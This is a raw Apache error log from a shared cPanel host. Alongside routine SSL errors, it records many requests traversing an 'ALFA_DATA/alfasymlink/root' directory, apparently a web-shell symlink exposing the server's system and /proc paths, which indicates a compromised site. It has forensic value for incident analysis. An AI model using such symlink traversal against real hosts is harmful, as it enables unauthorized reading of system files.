[Mon Oct 26 15:58:02.214639 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 3.226.34.98:23503] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:08.925534 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 85.208.96.203:45448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:18.178413 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.70.209.13:55923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:21.415752 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 85.208.96.199:24712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:26.293531 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.218.6.93:31342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:38.307037 2026] [core:error] [pid 3052342:tid 3052342] (13)Permission denied: [client 52.70.138.176:14516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS0/flags
[Mon Oct 26 15:58:39.005966 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 85.208.96.210:44508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/poison
[Mon Oct 26 15:58:42.185711 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 23.21.250.48:40496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:50.193100 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 54.147.182.90:40289] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:58:58.394349 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 44.221.105.234:56581] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:02.297192 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.226.34.98:44170] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:06.194213 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 34.231.45.47:17677] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:18.213769 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 35.173.38.202:41081] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:22.178753 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 52.203.152.231:35241] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:30.386863 2026] [ssl:error] [pid 3085795:tid 3085795] (5)Input/output error: [client 3.214.176.44:40645] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:37.423952 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 85.208.96.201:60156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/MPTCPv6/store_user
[Mon Oct 26 15:59:38.183315 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.224.132.215:28363] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 15:59:46.198219 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.45.77.169:38438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:00:06.209351 2026] [ssl:error] [pid 3084023:tid 3084023] (70014)End of file found: [client 44.209.89.189:10173] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:00:22.315626 2026] [core:error] [pid 3084087:tid 3084087] (13)Permission denied: [client 3.225.9.97:25376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory10/node0/compact
[Mon Oct 26 16:00:24.377466 2026] [security2:error] [pid 3084023:tid 3084023] [client 185.191.171.6:52786] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/odm/php56/import.php"] [unique_id "at-xWHMs9DEewnALzGZz5QAAACM"]
[Mon Oct 26 16:00:24.377506 2026] [security2:error] [pid 3084023:tid 3084023] [client 185.191.171.6:52786] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/odm/php56/import.php"] [unique_id "at-xWHMs9DEewnALzGZz5QAAACM"]
[Mon Oct 26 16:00:26.265652 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 52.202.52.82:62177] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1f/subsystem/devices/device:06/physical_node/virtio2/driver/unbind
[Mon Oct 26 16:00:31.794154 2026] [security2:error] [pid 3082381:tid 3082381] [client 107.172.76.131:56327] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-xUs0m493Zc8QU76tjBgAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:00:31.794218 2026] [security2:error] [pid 3082381:tid 3082381] [client 107.172.76.131:56327] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-xUs0m493Zc8QU76tjBgAAAA0"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:00:34.158045 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.94.40.182:6755] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:00:54.217618 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 54.147.238.89:25520] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:00:58.166515 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 18.208.11.93:30179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:01:02.299329 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 18.208.11.93:26379] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:01:06.267019 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 107.20.25.33:16514] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:01:14.153134 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 52.1.157.90:51298] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:01:27.585609 2026] [authz_core:error] [pid 3065807:tid 3065807] [client 2.194.68.0:57302] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 16:01:30.195117 2026] [security2:error] [pid 3083765:tid 3083765] [client 52.54.249.218:41405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/"] [unique_id "at-xmqFL9aMETz-8AU8dxQAAAAQ"]
[Mon Oct 26 16:01:30.195156 2026] [security2:error] [pid 3083765:tid 3083765] [client 52.54.249.218:41405] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/driver/serio1/input/input4/"] [unique_id "at-xmqFL9aMETz-8AU8dxQAAAAQ"]
[Mon Oct 26 16:01:44.631266 2026] [security2:error] [pid 3084053:tid 3084053] [client 107.172.76.131:56342] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-xm_Ctl1PgaN9A_9xKGAAAADQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:01:44.631342 2026] [security2:error] [pid 3084053:tid 3084053] [client 107.172.76.131:56342] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at-xm_Ctl1PgaN9A_9xKGAAAADQ"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 16:01:46.300969 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 54.159.98.248:18202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:02:02.239744 2026] [ssl:error] [pid 3085795:tid 3085795] (70014)End of file found: [client 52.4.76.156:33471] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:02:06.143048 2026] [ssl:error] [pid 3082381:tid 3082381] (70014)End of file found: [client 18.211.148.239:29876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:02:14.193357 2026] [core:error] [pid 3089355:tid 3089355] (13)Permission denied: [client 44.215.61.66:48886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/shpchp/new_id
[Mon Oct 26 16:02:18.189350 2026] [core:error] [pid 3065807:tid 3065807] (13)Permission denied: [client 52.71.46.142:60949] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/resource0
[Mon Oct 26 16:02:28.149675 2026] [core:error] [pid 3085795:tid 3085795] (13)Permission denied: [client 185.191.171.15:32196] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/parameters/edid_fixup
[Mon Oct 26 16:02:30.447004 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 100.25.120.246:22920] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/17/module/uevent
[Mon Oct 26 16:02:38.182861 2026] [ssl:error] [pid 3089355:tid 3089355] (5)Input/output error: [client 98.84.200.43:50164] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:02:42.277425 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 23.23.137.202:27887] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:02:47.373764 2026] [core:error] [pid 3084023:tid 3084023] (13)Permission denied: [client 185.191.171.10:61702] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fib6_nodes/reclaim_account
[Mon Oct 26 16:03:02.553498 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/chyrp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:03.343553 2026] [core:crit] [pid 3083765:tid 3083765] (13)Permission denied: [client 85.208.96.194:63260] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/logs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/logs/' is executable
[Mon Oct 26 16:03:03.450549 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/atlantis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:03.453629 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/openeshop/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:03.764892 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/koken/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:03.826288 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp68/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:03.903632 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:04.024101 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/leafpub/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:04.326975 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/procwire/
[Mon Oct 26 16:03:05.184032 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp51/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:05.400566 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp56/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:05.931015 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/sugar/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:05.945695 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp62/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.148274 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 44.217.255.167:51641] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:06.320696 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp70/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.777959 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp58/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.809782 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp60/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.870804 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp64/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.885360 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/drupal89/
[Mon Oct 26 16:03:06.908004 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp61/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:06.958409 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/drupal9/
[Mon Oct 26 16:03:06.977853 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/alegro/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.026568 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/pydio/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.027593 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp53/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.114140 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/spip/
[Mon Oct 26 16:03:07.114565 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp52/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.211423 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp63/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.259170 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/avactis/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.288588 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/livesite/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.289630 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp50/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.363976 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/magento2/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 16:03:07.462184 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/buggenie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:07.930591 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/igalerie/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.132124 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/carbon/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.202364 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/toaster/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.398878 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/yourls/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.427815 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/cube/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.448900 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/bludit/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.536165 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp59/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.679861 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp55/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.693391 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp49/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.776031 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp66/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.796037 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp54/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:08.819321 2026] [access_compat:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/webasyst/
[Mon Oct 26 16:03:08.819848 2026] [access_compat:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01797: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/rainloop/
[Mon Oct 26 16:03:09.112259 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/monstra/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:09.161483 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/anchor/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:09.786523 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp65/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:09.814836 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/nukeviet/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:09.974961 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp67/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:09.995951 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp57/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:10.271920 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/wp69/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:10.306920 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/piwik/
[Mon Oct 26 16:03:10.597506 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/drupalcms/
[Mon Oct 26 16:03:10.656349 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/drupal8/
[Mon Oct 26 16:03:10.704420 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/magento241/.htaccess: Invalid command 'SetEnv', perhaps misspelled or defined by a module not included in the server configuration
[Mon Oct 26 16:03:10.745190 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/bbpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:10.823893 2026] [authz_core:error] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/drupal10/
[Mon Oct 26 16:03:10.908993 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/phpwcms/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:11.164654 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/zen/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:11.176110 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/selfoss/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:11.189808 2026] [core:alert] [pid 3083765:tid 3083765] [client 85.208.96.194:63260] /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/softaculous/classicpress/.htaccess: RewriteBase: argument is not a valid URL
[Mon Oct 26 16:03:18.200132 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.71.216.196:2827] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:22.144454 2026] [ssl:error] [pid 3065807:tid 3065807] (70014)End of file found: [client 52.3.102.51:33715] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:22.868935 2026] [core:error] [pid 3084056:tid 3084056] (13)Permission denied: [client 85.208.96.198:12998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ebitmap_node/slabs_cpu_partial
[Mon Oct 26 16:03:26.176764 2026] [ssl:error] [pid 3083765:tid 3083765] (5)Input/output error: [client 54.85.126.86:45603] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:30.147198 2026] [core:error] [pid 3082381:tid 3082381] (13)Permission denied: [client 34.235.239.240:30561] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/uhci_hcd/new_id
[Mon Oct 26 16:03:46.351805 2026] [ssl:error] [pid 3084025:tid 3084025] (70014)End of file found: [client 3.231.193.38:56725] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:50.203913 2026] [ssl:error] [pid 3089355:tid 3089355] (70014)End of file found: [client 54.235.172.96:60065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:03:58.519661 2026] [ssl:error] [pid 3052342:tid 3052342] (70014)End of file found: [client 34.231.118.144:26611] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 16:04:02.238926 2026] [ssl:error] [pid 3058816:tid 3058816] (70014)End of file found: [client 52.2.58.41:38758] AH02013: coalesce failed to read from data bucket
